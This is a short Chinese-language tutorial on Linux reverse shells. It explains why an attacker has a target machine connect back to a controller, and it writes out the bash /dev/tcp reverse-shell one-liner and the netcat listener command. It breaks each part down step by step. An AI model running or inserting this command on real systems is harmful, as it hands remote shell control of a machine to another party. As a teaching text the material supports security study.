Linux一句话反弹shell

什么是反弹shell?

shell大家应该都不陌生,在使用Linux的过程中shell既可以当做一种命令语言,也可以当做一种程序设计语言。可以帮助我们很方便的管理和控制Linux。那么前面加上“反弹”这个词是什么意思呢?我们为什么要反弹呢?
通常情况下,我们远程控制一台Linux的时候,都是直接通过目标主机的IP以及开放的端口来连接,这叫做正向连接。但是,很多情况下目标主机在局域网中,或者使用动态IP,这样我们无法通过IP和端口号连接主机。这样反弹就比较容易理解了,就是让目标主机(被控制端)主动连接我们本机(控制端),通过这种方法实现的shell就叫反弹shell。

一句话反弹shell

shell部分

我们先从最简单的反弹shell开始。这种shell往往只需要在目标主机(被控制端)执行一条命令即可建立反向连接。如下:

1
bash -i >& /dev/tcp/控制端IP/端口 0>&1

下面我们来详细的分析一下这条语句的工作原理。
bash -i:即运行一个交互式的bash,-i参数表示交互。
>&:在>后跟一个&表示重定向到的不是一个文件,而是一个文件描述符。
/dev/tcp/目标IP/端口:表示建立一个到目标端口的tcp连接。
0>&1:0和1都是内置的文件描述符。0>&1代表将stdin重定向到文件描述符为1的文件(即/dev/stdout)中。内置的文件描述符如下

1
2
3
1 => stdout
2 => stderr
0 => stdin

当然,在被控制端主机执行上面的命令之前我们需要在本机执行一条命令来监听端口,下面以8080为例:

监听端口

1
nc -l -p 8080

nc表示启动NetCat程序,一般在Linux中都内置了这个程序,是一个简单可靠的网络工具,可通过TCP、UDP协议传输读写数据。本条命令用到两个参数:‘-l’表示监听模式,‘-p’表示端口号。

在控制端监听8080端口之后,在被控制端执行上面的一句话反弹shell命令之后,控制端会返回一个可交互的shell,是不是很方便?

0%